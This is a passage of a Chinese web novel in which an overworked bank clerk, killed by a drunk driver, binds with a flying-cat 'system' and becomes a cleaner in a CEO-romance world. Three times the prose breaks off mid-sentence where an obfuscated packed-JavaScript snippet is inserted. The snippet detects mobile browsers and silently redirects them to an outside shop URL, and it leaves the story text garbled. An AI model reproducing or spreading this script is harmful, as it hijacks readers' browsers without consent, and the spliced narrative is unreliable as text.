《世界终究颠成你想象不到的样子》 1. 加班加到半夜会出问题的啊 颜淳觉得自己上辈子一定是欠了银行的命。 哦不对,她这辈子也欠着银行的——整整三十年的房贷,像一座大山压在肩上,压得她连喘气都得精打细算。 晚上十点,这座城市终于褪去了白天的喧嚣,街道上只剩下零星的车辆和偶尔窜过的外卖骑手。颜淳骑着她那辆小电驴,在空旷的马路上飞驰,黑色工作服被风吹得鼓起来,半高不低的马尾辫在脑后疯狂甩动,像一面投降的白旗。 不对,她没有白旗可举,她只能举双手投降。 “啊——这日子什么时候到头啊!” 在等红绿灯的间隙,颜淳看着面前零零散散的车辆,忍不住仰天长啸。路过的外卖小哥看了她一眼,露出“我懂你”的同情表情,然后拧紧油门消失在夜色中。 早知上班当社畜,不如珍惜寒暑假啊! 当年老师说的“你们长大后就知道了”原来是真的,长大后的世界,连呼吸都要钱。 颜淳,二十六岁,某中小银行办公室普通员工,单身,无房无车但有房贷——没错,她去年脑子一热,在老家县城买了套房,从此过上“房奴”生活。一人吃饱全家不饿的孤儿体质在这一刻显得格外凄凉,因为她连个帮忙还贷的人都没有。 太难了,当代打工人太难了。 绿灯亮起,颜淳收回思绪,拧动油门。算了,不想了,回家睡觉,一觉睡醒又是干活的一天。 人生嘛,不就是一天一天熬过去的吗? 她的电驴拐进一条辅路,这条路她每天都要走,闭着眼睛都知道哪里有坑哪里有坎。这条路很安静,两边是绿化带,白天倒是挺美的,晚上嘛……路灯不太亮,但胜在车少,她可以稍微提点速,早点到家。 早点到家,早点睡觉,明天还要早起挤地铁去另一个网点支援。 打工人,打工魂,打工都是人上……人上人个鬼啊! 就在颜淳脑子里乱七八糟想着明天的工作安排时,前方的弯道突然亮起两束刺眼的白光。 那是一辆红色跑车,车身在路灯下折射出妖冶的光泽,引擎的轰鸣声震耳欲聋。 完全没有减速。 “咣——!” 巨大的撞击声划破夜空,颜淳连人带车被撞飞出去,在空中翻滚了两圈,重重摔在地上。剧痛从四肢百骸传来,她听到自己骨头碎裂的声音,像踩碎一包薯片,咔嚓咔嚓的,但比那更沉闷,更真实。 红色跑车没有停下,继续往前冲了近百米,撞断路边的护栏,一头栽进河里。 “哗啦——” 水花溅起的声音很远,像隔了一个世界。 颜淳躺在地上,视线开始模糊。她感觉自己的身体在变冷,从手指尖开始,一点一点失去温度。血液从身下蔓延开来,带着铁锈味,温热的,和她逐渐冰冷的身体形成鲜明对比。 靠,大半夜谁家公子哥在飙车啊? 等等……老娘是不是不用还贷款了?! 这个念头闪过脑海的瞬间,颜淳差点笑出声来。但笑声卡在喉咙里,变成一口血沫,顺着嘴角流下来。 啊,死得真难看。 她想起自己还有半杯奶茶放在办公室冰箱里,想起洗衣机里还泡着没来得及晾的衣服,想起明天还要交的报表……算了,都跟她没关系了。 视线彻底暗下去之前,颜淳听到远处传来尖叫声和脚步声,有人在大喊“出车祸了”“快打120”。 但那些声音越来越远,越来越远,直到完全消失。 --- “宿主你好,我是系统局出品的‘生活很好’系统,编号1748,很高兴见到你。” 当意识再次清醒时,颜淳听到一个机械卖萌声,声音里带着一种努力讨好的谄媚感,像极了客服电话里那些“亲,给个好评哦”的腔调。 一片白茫茫的空间里,颜淳缓慢起身。 她低头看了看自己——完整的,没有伤口,没有血迹,甚至还穿着那件被撞飞时穿的黑色工作服。她摸了摸脸,热乎乎的,有温度。 “我……没死?” “严格来说,您已经死了。”声音从上方传来。 颜淳抬头,看到一个长着翅膀的小猫咪飞在半空中,毛茸茸的,圆滚滚的,像一团长了翅膀的棉花糖。它的毛色是渐变的,从头顶的奶白色过渡到尾巴尖的淡金色,一双蓝色的大眼睛忽闪忽闪的,透着一股机灵劲儿。 “啊——”颜淳下意识后退一步,“猫会飞?” “是系统!我是系统!”小猫咪扑扇着翅膀飞低了一点,语气里带着几分委屈,“不是普通的猫,我是系统局出品的正规系统,编号1748,您可以叫我小七或者小八,或者您喜欢其他名字也可以,我可以改的。” 一起死吧?好不吉利啊! 颜淳盯着这只小猫咪看了三秒钟,脑子里的信息开始飞速运转。 上学期间阅览群书(主要是小说)的经验在这一刻发挥了重要作用。 “系统?小说里那种可以带人穿越做任务的系统?” “差不多吧。”小猫咪用前爪挠了挠脑袋,毛都被挠乱了几根,“不过我们是由三千世界的系统局统一生产的正规系统,和小说里那种强制绑定的不一样。宿主您也可以选择直接去死的,而且就算绑定了想反悔也是可以的,我们的规定是可以随时解绑的,同时还会根据您的任务完成情况给您安排好后续生活的。” 颜淳眨了眨眼。 直接去死? 她低头看了看自己——已经死了,这是第二次生命机会。 死是不可能直接去死的,虽然她平时上班总哀嚎着日子过不下去了,但好死不如赖活嘛。而且现在还有退路,随时可以反悔…… 就,先玩玩? 不过答应之前有个事情得问清楚。 “撞我那辆车是什么情况你知道不?” 红色跑车,她记得车牌号——S38S38。 好家伙,真不吉利的数字。 飞在半空中的小猫咪眼前闪过一串代码,蓝色的大眼睛变成了数据流,持续了大概两秒钟,然后恢复正常。 “经查询,造成宿主死亡的原因是对方酒驾肇事。不过肇事者已经撞断护栏冲进河里,车毁人亡了,中途未造成其他伤亡。经系统预测,宿主及肇事者的死亡情况将于21分钟后被发现。” …… 酒驾。 真是晦气,和凶手死同一天了。 虽然感觉有些膈应,但对方死都死了,死亡时间也就比她晚两分钟,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446838|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股子突如其来被撞死的怨气也稍微平复了一些。 “那‘生活很好’系统是做什么的?炮灰逆袭?虐渣打脸?还是路人吃瓜?还有,为什么会找上我,我感觉我就是一个平平无奇的社畜啊!” 颜淳一边问,一边环顾四周。这片白茫茫的空间什么都没有,像是一个还没装修的毛坯房,连个坐的地方都没有。 小猫咪似乎是飞累了,翅膀一甩,白茫茫的空间瞬间变了样。 公主风卧室。 粉色的墙壁,白色的家具,蕾丝边的床单,还有那张看起来就舒服得不得了两米大床,床上还摆着一排大小不一的毛绒玩偶。小猫咪落在床上,翅膀收起来,用爪子拍了拍身边的位置。 “哇塞!” 颜淳眼睛都亮了。 她也不客气,一屁股坐到床上,伸手就把小猫咪捞过来,上下其手,从头摸到尾。毛茸茸的,软乎乎的,还带着一股淡淡的奶香味。 “我们‘生活很好’系列系统主打的就是体验各小说世界的风土人情,并收集各类正面情绪反馈给总部。”小猫咪被摸得很舒服,眯着眼睛解释,“至于为什么选你,这当然是缘分啦!” 小猫咪突然睁开眼睛,语气激昂澎湃:“你可是我被投放之后第一眼见到的,而且还刚好死得这么巧,这不就是天生的缘分嘛!” 啊这。 那咱俩确实挺有缘的啊! “你们总部要正面情绪干嘛?奇奇怪怪的。” “因为现在大家工作压力太大了,而且还带有传染性。”小猫咪的语气突然变得严肃,“如果不收集些正面情绪投放到主世界,主世界的人类会因为各类抑郁而越来越少的,甚至动植物也会被传染,之后主世界会直接完蛋的!” 说到最后,小猫咪浑身的毛都炸了起来,像一颗毛球。 颜淳被它逗笑了,伸手把炸起的毛按下去。 “懂了,这个正面情绪就是救命良药啊!” “对对对!所以宿主您愿意绑定吗?”小猫咪眼巴巴地看着她,蓝色的大眼睛里满是期待,“如果不愿意也没关系的,我们可以安排您投胎转世,不过要排队,大概排个几百年吧。” 几百年…… 算了,还是绑定吧。 “OK,明白了。那等我收拾收拾咱们就签合同。” 颜淳说着,一头倒在柔软的大床上,把脸埋进枕头里。 嗯,真软,真香。 比她出租屋里那个睡了三年、弹簧都塌了的枕头舒服一万倍。 “系统,我能在这个空间里待多久?” “您想待多久就待多久,时间流速和现实世界不一样,这里待一年,外面也才过一秒。” “那太好了。”颜淳翻了个身,把小猫咪抱进怀里,“我先睡一觉,明天再签合同。” 她实在太累了。 加班到半夜,被车撞死,又来到这个奇怪的空间……虽然身体已经恢复了,但精神上的疲惫是真实存在的。 小猫咪乖乖窝在她怀里,尾巴轻轻拍着她的手背。 “宿主晚安。” “晚安,小七。” 颜淳闭上眼睛,很快就沉沉睡去。 这一次,没有闹钟,没有KPI,没有房贷。 2. 霸道总裁小甜心? 一觉醒来,颜淳神清气爽。 这是她近三年来睡得最香的一觉,没有做梦,没有半夜惊醒,更没有早上被闹钟吓得心脏骤停。她伸了个懒腰,骨头咔咔作响,然后坐起来环顾四周——还是那间公主风卧室,还是那张两米大床,小猫咪还窝在她腿边,睡得像一滩液体。 “小七,起床了。” 颜淳戳了戳那团毛茸茸的东西。 “嗯……再睡五分钟……”小猫咪翻了个身,露出圆滚滚的肚皮。 “你是系统,你还睡觉?” “系统也要休息的好吧!”小猫咪不情不愿地睁开眼睛,打了个哈欠,“我们又不是永动机,也是有维护时间的。只不过我们的维护时间比人类短而已,一天只需要维护四个小时。” “四个小时……”颜淳沉默了,“比我睡得多。” “那当然,我们可是正规系统,劳动法都保护的!” 颜淳忍不住笑了。 这系统比她还会摸鱼。 “行了行了,别贫了。签合同吧,签完赶紧进世界,我迫不及待要体验‘风土人情’了。” 小猫咪一下子精神了,从床上飞起来,翅膀扑扇着,在空中转了个圈。然后它面前出现一块半透明的光屏,上面密密麻麻写满了字。 “宿主请看,这是我们的电子合同,您可以仔细阅读,不着急。” 颜淳接过光屏,认真地看了起来。 合同不长,条款清晰,主要就几条: 一、宿主自愿绑定系统1748,参与“生活很好”计划,进入小说世界体验生活并收集正面情绪。 二、宿主可随时解绑,无需承担任何后果,系统局将根据已完成任务情况安排宿主后续生活(投胎转世/返回原世界/留在小说世界等选项可选)。 三、系统局将为宿主提供小说世界的基础生活保障(住所、基本生活费),额外需求可自行解决或申请系统支援。 四、宿主不得恶意破坏小说世界核心框架(如大规模屠杀、毁灭世界等),否则将强制解绑并追究责任。 五、系统1748将为宿主提供全程引导和协助,宿主如有任何不满可向系统局投诉。 …… “就这些?”颜淳看完,有些意外,“没有强制任务?没有惩罚机制?没有积分排行榜?” “没有没有。”小猫咪摇头晃脑,“我们‘生活很好’系列主打的就是一个自由度高,不强制做任务,不搞排名内卷,主打一个随心所欲。宿主您想怎么玩就怎么玩,想走剧情就走剧情,不想走剧情就躺平,都可以的。” “那正面情绪怎么收集?” “只要宿主开心,就会产生正面情绪,系统会自动收集的。”小猫咪解释道,“当然,如果宿主能让小说世界里的其他人也开心,收集效率会更高。不过不强求,宿主自己开心最重要。” 颜淳又看了一遍合同,确认没有隐藏条款和文字游戏,然后点了点头。 “行,签了。” 她在光屏上按下手印,合同化作一道光消失在半空中。 “签约成功!”小猫咪欢呼一声,“宿主准备好了吗?我们要进入第一个小说世界了!” “准备好了。”颜淳深吸一口气,“什么世界?” 小猫咪的蓝色大眼睛再次变成数据流,这次持续的时间更长了一些。 “小说世界搜索中……匹配完成……即将传送……” “第一个小说世界是——《霸道总裁小甜心》!” --- 白光闪过,颜淳发现自己站在一间不大的休息室里。 房间大概十几平米,有一张单人床,一个衣柜,一张桌子,一把椅子,还有一个独立的卫生间。装修风格简洁实用,像极了公司宿舍。墙上挂着一面镜子,镜子里的她……还是她,但又不太一样。 颜淳凑近镜子看了看。 脸还是那张脸,但皮肤变好了,黑眼圈消失了,连眼角那颗小雀斑都不见了。头发变成了一头乌黑亮丽的长发,被盘成一个干净利落的发髻。身上穿着一套深蓝色的工作服,胸口绣着“辉腾集团”四个字,下面还有一行小字——“保洁部”。 等等。 保洁? “小七,你给我解释一下。”颜淳盯着镜子里的自己,“为什么我是保洁?” 小猫咪出现在她肩膀上,翅膀收起来,尾巴轻轻摇晃着。 “宿主别急,我先给您传输本世界的剧情和身份信息。” 话音刚落,大量信息涌入颜淳脑海。 --- 世界名称:《霸道总裁小甜心》 剧情简介:辉腾集团董事长涂腾,年轻有为,帅气多金,是无数女人的梦中情人。某天,他在公司大厅偶遇前来面试前台的留念念,一见钟情。从此展开了一段“你追我逃,你跑我追,我们都插翅难飞”的虐恋情深。 当前身份:辉腾集团董事长办公室专属保洁阿姨 身份详情: - 姓名:颜淳 - 年龄:28岁 - 婚姻状况:单身 - 学历:初中学历(系统设定) - 家庭情况:父母双亡,无直系旁系亲属 - 工作经历:辉腾集团保洁部,工龄13年(15岁干保洁,系统设定) - 特殊称号:“保洁天花板”“金牌保洁”“阿姨没有你我可怎么办啊!” 当前状态:刚与辉腾集团续签一年合同,月薪5万元。 --- 颜淳看完这些信息,整个人都愣住了。 她缓缓转头,看向肩膀上的小猫咪。 “保洁?阿姨?我才28岁,你让人叫我阿姨?” “这不是设定嘛……”小猫咪心虚地别过脸,“而且宿主您现在的身份是从15岁就开始工作的资深保洁,叫阿姨显得尊重嘛。” “那为什么我是保洁?”颜淳咬牙切齿,“你就不能给我安排个霸道总裁、富家千金、或者至少是个白领的身份吗?” “我也想啊!”小猫咪委屈巴巴,“但是这个世界剩下的身份就只有这个了。正常的身份都被其他系统抢光了,我们‘生活很好’系列是养老系统,抢不过那些快穿、逆袭、重生的系统,只能捡剩下的……” 颜淳深吸一口气,告诉自己要冷静。 保洁就保洁吧,至少月薪5万,比她原来那个破工作强。 等等。 “月薪5万?”颜淳又看了一眼身份信息,“保洁月薪5万?” “对呀。”小猫咪点头,“而且宿主您上周才续签了合同,违约金是一百万,如果辞职的话要赔钱的。” “一百万?!”颜淳瞪大了眼睛,“什么保洁合同要赔一百万?这是卖身契吧?!” “小说世界嘛……”小猫咪用爪子摸了摸鼻子,“逻辑什么的,就不要太在意了。” 颜淳又深吸一口气。 行吧。 小说世界,一切皆有可能。 “那剧情呢?”颜淳继续翻看脑海里的信息,“你这个剧情是不是有点……太狗血了?” 她快速浏览了一遍《霸道总裁小甜心》的详细剧情,越看越觉得离谱。 男女主一见钟情那场戏,是因为她这个保洁刚刚拖过地,导致女主脚滑,扑进男主怀里。 男女主误会争吵那场戏,又是因为她拖过地,女主再次脚滑,扑倒男主,还“一不小心”接吻了。 男女主办公室那啥的时候——等等。 颜淳的眉头皱了起来。 “小七,正宗霸道总裁文里有这么详细的……那啥描写吗?” “呃……”小猫咪的声音明显心虚了,“这个世界是有些限制级的内容啦,不过宿主您放心,您不用参与,您只是……在旁边等着收拾。” “收拾什么?” “收拾……后续。” 颜淳的脑子“嗡”的一声。 她仔细看了看那段剧情——男女主在办公室亲密,她这个保洁阿姨在外面等着,等他们结束之后进去打扫。结果因为地拖得太干净,女主又一个脚滑,扑进男主怀里,然后…… “这是什么限制级内容?!”颜淳的声音都变调了,“我一个保洁阿姨还得看现场直播?” “不用看不用看!”小猫咪连忙摆手,“您可以在外面等,等他们结束再进去。” “那不是一样吗!”颜淳崩溃,“我又不是没长耳朵!” 而且这种剧情,真的能写出来吗?不会被封吗? “系统,你这小说世界这么不正经的吗?这是限制级的吧?”颜淳默默拿起旁边的拖把,感觉手里的拖把都比这个世界正经。 “哈哈。”小猫咪尴尬一笑,“确实不太正经哈。” 它用前爪摸了一把不知道什么时候冒出来的冷汗:“不过这可不能怪我,主要是正常的小说世界都被重生系统、穿越系统、无限系统、带崽系统都抢光了,我们养老系统就只剩下这类小说世界了。” “不过宿主您放心,据前辈们分享的经验,这类小说世界的正面情绪其实挺多的。不要在意那种限制剧情,反正我们也不要求走剧情,您想怎么来就怎么来。” 那就好那就好。 颜淳大大地松了口气。 她可没有看别人现场的兴趣爱好,更没有听别人现场的特殊癖好。 把小说剧情理清楚之后,颜淳把手里的拖把放到一旁,推门走出了休息室。 辞职辞职。 都带金手指穿越了,谁家好人还要上班啊! 反正合同里写了会给宿主准备好小说世界的住所和每日生活费的,保证饿不死。 让她来看看今日生活费多少? 哦,100块? 等会。 “系统,房租水电应该不用我交吧?”要不然这工作辞不了啊!一天100是真的只够吃饭的。 在他人看不到的视线里,系统小猫咪蹲在颜淳肩膀上,毛茸茸的小尾巴一扫一扫的。 “放心吧,这些我们系统局都包的。生活费就是给各位宿主一日三餐吃饭用的,如果对房子里的装饰不满意,我们还能按照宿主要求重新装修的。” 可以可以。 颜淳心满意足地走向电梯。 辉腾集团的大楼很气派,整整三十八层,在市中心的CBD地段占据了一整栋楼。光是大厅就有篮球场那么大,地面铺着光可鉴人的大理石,天花板上吊着巨大的水晶灯,前台背景墙上“辉腾集团”四个大字闪闪发光。 颜淳穿过大厅,走向电梯,按下人力资源部所在的楼层。 电梯门关上之前,她看到前台那边围了一群人,似乎在准备什么东西。 没在意。 她现在满脑子都是辞职的事。 --- 人力资源部在二十楼,颜淳出了电梯,顺着走廊找到挂着“人力资源部”牌子的办公室,推门进去。 “您好,请问……” “颜姐!”一个年轻女孩从工位上站起来,满脸惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小杨啊!” “颜姐您说!” “我一个保洁拿这么高的工资,烫手啊!”颜淳说出了心里话。 不把原因说清楚,总感觉下一秒会进局子啊。 杨小云大大地松了口气,拉着颜淳坐下,压低声音解释。 “颜姐,您别慌。这份工资是老董事长那边给的,也是为了防止其他公司的人来窃取机密或者谋图我们董事长身子,才专门招了您的。” “毕竟您一看就……寡得要死。” 最后一句话,杨小云说得很小声,但颜淳听得清清楚楚。 寡……得要死? 颜淳嘴角抽了抽。 行吧,反正她确实单身,也确实没什么世俗的欲望。 不过“谋图董事长身子”是什么鬼?之前几届保洁都想一步登天?话说为啥不招个男的? 但看小杨那一脸“求求了,千万别辞职啊,你要是走了我要死”的表情,颜淳还是默默收回了辞职的念头。 那就先试试?反正一个月10万。 “小杨啊,那本月工资什么时候发呀?” “颜姐您放心,明天就打您卡上!” 很好很好。 小说世界离谱一点还是有点好处的。 既然如此,那我先下楼买个全家福鸡蛋灌饼吧! 有钱了有钱了。 反正她这个保洁肯定不会走剧情的! --- 颜淳哼着小曲走出人力资源部,心情好得想飞。 月薪10万,包吃包住,工作内容就是打扫一间办公室。 这是什么神仙工作! 她原来在银行上班,每天累死累活,一个月到手才八千多,还要还房贷、交房租、吃饭、通勤……月底一看余额,负数。 现在好了,房贷不用还了(毕竟她已经死了),房租不用交了(系统包了),工资还涨了十几倍。 爽! 颜淳走进电梯,按下“1楼”按钮。 电梯里只有她一个人,她对着镜子整理了一下工作服,觉得自己穿着这身深蓝色制服还挺精神的。虽然胸口“保洁部”三个字有点扎眼,但没关系,有钱就行。 电梯下到一楼,门一打开,大厅的热闹景象扑面而来。 真的是“好多人呐”。 “这是干嘛呢?”颜淳随口问了一句路过的保安。 “哦,今天招聘面试呢,咱们集团可是全国排名前几的上市公司,面试人可多了。”保安笑嘻嘻地回答 颜淳的心里“咯噔”一下。 面试? 不会吧不会吧,剧情这么快就开始了吗? 她赶紧掏出手机看了一眼日期——果然,今天就是剧情开始的那一天。 女主留念念今天来面试。 男主涂腾今天会下来“偶遇”她。 而她这个保洁阿姨,今天会在大厅拖地,导致女主脚滑扑进男主怀里。 “不行不行不行!”颜淳把手机塞回口袋,“我才不要走剧情!” 她左右看了看,发现保洁工具间就在大厅角落,里面放着拖把、水桶、抹布之类的东西。她赶紧跑过去,把工具间的门从里面反锁上。 好了,今天她就在这里待着了。 地?不拖。 剧情?不走。 男主女主的爱情故事?跟她没关系。 她现在只想出门买个全家福鸡蛋灌饼,然后回来吃。 颜淳从工具间的小窗户翻出去,绕到大楼侧面,朝公司大门走去。 阳光正好,秋日的晨光斜斜地洒在身上,暖洋洋的。 颜淳深吸一口气,闻到了空气中属于自由的香气。 啊,穿越真好。 3. 我的18块全家福鸡蛋灌饼! 秋日的晨光斜斜地洒在辉腾集团大厅的玻璃幕墙上,折射出象征金钱的光斑。 但颜淳现在没心情欣赏这些光斑。 她满脑子都是鸡蛋灌饼。 公司附近有一家早餐摊,是个老大爷开的,据说在这条街上摆了十几年。大爷的鸡蛋灌饼是一绝,饼皮现擀现烙,外酥里软,鸡蛋灌得均匀,酱料刷得恰到好处,再加上各种配料——烤肠、肉松、培根、里脊、土豆丝、海带丝、生菜、黄瓜丝…… 颜淳站在摊位前,看着菜单陷入了选择困难症。 “小姑娘,吃点什么?”大爷笑呵呵地问。 “大爷,来个全家福!”颜淳豪气万丈。 全家福,所有配料全加,18块钱一个。 搁以前,她绝对舍不得。18块钱够她吃两顿午饭了,怎么可能花在一个鸡蛋灌饼上? 但现在不一样了。 她现在月薪10万! 虽然还没到手,但气势不能输! “好嘞!”大爷麻利地开始擀饼。 颜淳站在旁边看着,口水都要流出来了。 大爷的手艺确实好,饼皮擀得薄薄的,在铁板上烙得两面金黄,然后用筷子挑开一个口子,把打散的鸡蛋液灌进去。鸡蛋液在饼皮里流动,遇热凝固,和饼皮融为一体。再刷上秘制酱料,撒上孜然粉、辣椒粉,铺上满满一层配料——烤肠切段、肉松铺底、培根叠放、里脊肉撕成条、土豆丝和海带丝堆成小山,最后盖上一片生菜,把饼皮一卷,用纸袋一包。 “好了!全家福鸡蛋灌饼!” 颜淳接过鸡蛋灌饼,塑料袋外层还带着铁板烤制后的余温,光是凑近闻一闻,浓郁的香气就顺着鼻腔往胃里钻。 她迫不及待地咬了一口。 “咔嚓——” 饼皮酥脆,咬下去发出清脆的声响。鸡蛋的香、酱料的咸、配料的丰富口感在嘴里炸开,烤肠的Q弹、肉松的绵密、培根的焦香、里脊的嫩滑、土豆丝的脆爽、海带丝的韧劲……一口下去,层次丰富,满嘴的肉香瞬间让人沉浸其中。 快乐,太快乐了! 颜淳眯起眼睛,整个人沉浸在美食的幸福感里。 一口,两口,三口。 真香啊! 啊! 没有三口! “砰——” 颜淳被一个猛撞,整个人往前踉跄了两步,双臂下意识地在空中乱挥,像只失衡的企鹅。她一个托马斯旋转后踉跄着稳住了身形,人没倒,但是—— 鸡蛋灌饼掉了。 烤肠滚出了老远,表皮沾了层灰;里脊片一半露在外面,一半还裹在破碎的饼皮里;土豆丝和海带丝撒了一地,油星子在地面上晕开小小的圈。 颜淳低头看了看自己手上空空荡荡的塑料袋,又看了看地面上才被咬了两口的馅料撒了一地的鸡蛋灌饼。 她的脑子“嗡”的一声。 我现在把饼捡起来啃没有和地面接触的那面是不是不算脏?里面的里脊肉还乖乖被包着,没有沾灰,烤肠直接滚地上了就不吃了,那我是不是还能吃一半? 泪水在心里哗哗地流啊! 就在颜淳刚准备蹲下捡起她的鸡蛋灌饼时,一双白色细高跟直接命中鸡蛋灌饼的身子。 “咔嚓——” 本就破碎的饼皮彻底被碾成了渣,油星子顺着鞋跟溅到了黑色裤脚上。 “啊!阿姨,对不起对不起,我急着面试没看到你,对不起对不起,但我真的很急,不好意思!” 细高跟说完就转头走了,留下一地狼藉和一个石化在风中的颜淳。 …… 啊!!!!!! 我的饼啊! 那可是我才啃了两口的饼啊! 那可是我刚刚花了18块钱买的全家福鸡蛋灌饼啊! “宿主,宿主别难过。”小猫咪的声音在脑海里响起,带着小心翼翼的安慰,“我们再买一个就是了。你要是觉得每天100块的生活费不够,我可以请你吃饭的,我有小金库。” 颜淳深吸一口气,又深吸一口气。 算了,算她自己倒霉吧。 她蹲下来,把地上脏得完全没法吃的鸡蛋灌饼收拾干净,然后重新走向早餐摊。 “大爷,再来一个全家福。” “哎?刚才那个呢?”大爷一边擀饼一边问。 “被踩了。”颜淳面无表情。 “被踩了?”大爷抬头看了她一眼,“人没事吧?” “人没事,饼有事。” “那就好那就好。”大爷笑呵呵地说,“饼没了可以再买,人没事就行。来,这个大爷给你多加个蛋,不要钱。” “谢谢大爷。” 颜淳接过第二个鸡蛋灌饼,这次她学聪明了,不边走边吃了。她捧着饼,小心翼翼地走进辉腾集团大楼,准备找个没人的角落慢慢享用。 大厅里比刚才更热闹了。 颜淳没在意,捧着饼往电梯方向走。 她记得保洁部在负一层,那里有休息室,可以安安静静地吃饼。 但走到大厅中央的时候,身后突然传来一阵骚动。 “董事长来了!” “董事长好!” 颜淳下意识回头看了一眼—— 一个身材高大、长相英俊的男人从旋转门外走进来,身后跟着四五个西装革履的助理。男人穿着深灰色的定制西装,衬衫领口解开一颗扣子,露出线条分明的锁骨。他的五官深邃立体,眉骨高挑,鼻梁挺直,薄唇微抿,透着一股生人勿近的冷峻气质。 但最引人注目的是他的眼睛——深邃得像一潭湖水,却又带着几分危险的侵略性,仿佛能看穿一切伪装。 涂腾。 辉腾集团董事长,本世界男主。 颜淳只看了一眼就收回视线,继续往电梯走。 不关她的事,不关她的事,她只是一个吃饼的保洁阿姨。 但就在这时—— “啊!” 一声娇俏且熟悉的女声从身后传来。 颜淳还没来得及反应,就感觉一阵风从身边刮过,一个人影从她旁边冲出去,然后—— “砰!” “小姐,你没事吧?” 颜淳僵住了。 她缓缓低头,看了看自己手里的鸡蛋灌饼—— 没了。 又没了。 她缓缓转身,看到了一幕标准的偶像剧画面: 一个穿着白色连衣裙的年轻女孩摔倒在地,旁边的地上散落着她的简历和文件。涂腾身手矫健地冲过去,单膝跪地,一手扶住女孩的肩膀,一手托住她的后背,姿势标准得像练过无数次。 女孩抬起头,露出一张巴掌大的小脸,五官精致,皮肤白皙,脸颊上带着两团粉嫩的红晕,像一颗熟透了的水蜜桃。 留念念。 本世界女主。 “好心的先生,谢谢你。”留念念一脸娇羞地从男人怀里离开,声音软得像棉花糖。 涂腾的眼神变了。 那种变化很明显,就像是从“路人甲”模式切换到了“一见钟情”模式。他的目光锁定在留念念脸上,嘴角微微上扬,露出一个足以让万千少女尖叫的笑容。 “上班期间也要注意安全。”他的声音低沉磁性,带着一种刻意压制的性感。 “可是……可是我不是来上班的,我只是来辉腾集团面试的。”留念念脸上的粉嫩稍微褪去了些,但眼眶却红了,“不过面试结果不太好,我还是继续投别家公司吧。” 说着,一滴晶莹的泪珠从她眼角滑落。 涂腾一脸心痛,伸手擦去那颗泪珠,手指在她脸颊上停留了两秒。 “怎么会?你这么出色,明天就来上班吧。” “真的吗?”留念念眼睛一亮,泪珠还挂在睫毛上,但嘴角已经翘起来了。 “当然。” 周围响起了稀稀拉拉的掌声和惊叹声。 “哇,好浪漫啊!” “这男的是谁啊?长得也太帅了吧!” “你新来的吧?那是我们董事长!” “董事长?!天哪,这也太偶像剧了吧!” 只有颜淳,盯着两人脚下那滩“新鲜出炉”的鸡蛋灌饼,只觉得眼前发黑。 是的,留念念摔倒的地方,正好是她站着的地方。 而她手里的鸡蛋灌饼,正被涂腾的皮鞋踩得稀巴烂。 啊!!!!!! 把你们的脚从我的鸡蛋灌饼上拿开! 而且,更令人生气的是—— 留念念脚上的白色细高跟,不就是刚才踩碎她第一份饼的那双吗?! 而涂腾的皮鞋,正稳稳地踩在她刚买的、还没来得及尝一口的第二份饼上! 两份饼! 一份被踩了两次! 一份被踩了一次! 全都是这俩人干的! 靠!你们男女主一见钟情能不能按照剧情走啊! 作为阿姨的她还没有拖地啊! 地上只有她的鸡蛋灌饼啊! 不是,就蹭着鸡蛋灌饼的油你们就这么走起了剧情? 要不要这么离谱啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446840|201101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡蛋灌饼的出场费你们还没给啊!!! 颜淳深吸一口气,靠在墙边,内心疯狂吐槽。 “小七,你看到了吗?”她在脑海里怒吼。 “看到了看到了……”小猫咪的声音弱弱的,“宿主别生气,我再请您吃一个?” “这不是饼的问题!这是原则问题!”颜淳咬牙切齿,“他们凭什么踩我的饼!踩一次还不够,还要踩两次!” “那个……宿主,要不您先冷静一下?” “我冷静不了!”颜淳继续盯着那对还在含情脉脉的男女,“而且你看看他们!大厅里这么多人是压根没看到啊,直接当着大家的面演偶像剧!” “他一个集团董事长不用忙着开会、签合同、听报告的吗?”颜淳越说越气,“哪里有这个闲情逸致在上午10点正是办公干活的好时间里下楼溜达散步?” 作为一个曾经上班的牛马,她实在见不得领导如此空闲! 她以前也是个苦哈哈的上班族,每天被KPI追着跑,别说上午十点下楼散步了,连喝口水的时间都得挤。现在看到有人当着这么多员工的面“摸鱼谈恋爱”,“牛马之魂”瞬间熊熊燃烧。 谈什么恋爱,干活去! 演什么偶像剧剧情,集团那么多事情你不处理谁处理啊! 吐槽间,颜淳掏出手机,打开相机,对着大厅C位那对还在深情对视的小情侣拍了张照。 然后打开某绿色软件,找到某个名为“老涂董事长”的联系人。 这是她身份信息里自带的联系人,老涂董事长——涂腾的父亲,辉腾集团创始人,虽然已经退居二线,但对公司的大小事务依然了如指掌。 她点击图片,点击发送。 并附上一句:“董事长,涂董他上班时间不务正业啊!” 发送完毕。 颜淳收起手机,看着地上那滩彻底没法救的鸡蛋灌饼,叹了口气。 两次了。 两份饼。 一口完整的都没吃到。 这大概就是传说中的“出师未捷身先死”吧。 她再次去找前台借打扫工具,心里暗暗发誓:下次买鸡蛋灌饼,一定要躲进厕所里吃,谁也别想打扰她! 可她刚拿起扫帚,手机就震动了一下。 老涂董事长回复了。 “好,知道了。” “鸡蛋灌饼掉了?” 颜淳:“……” 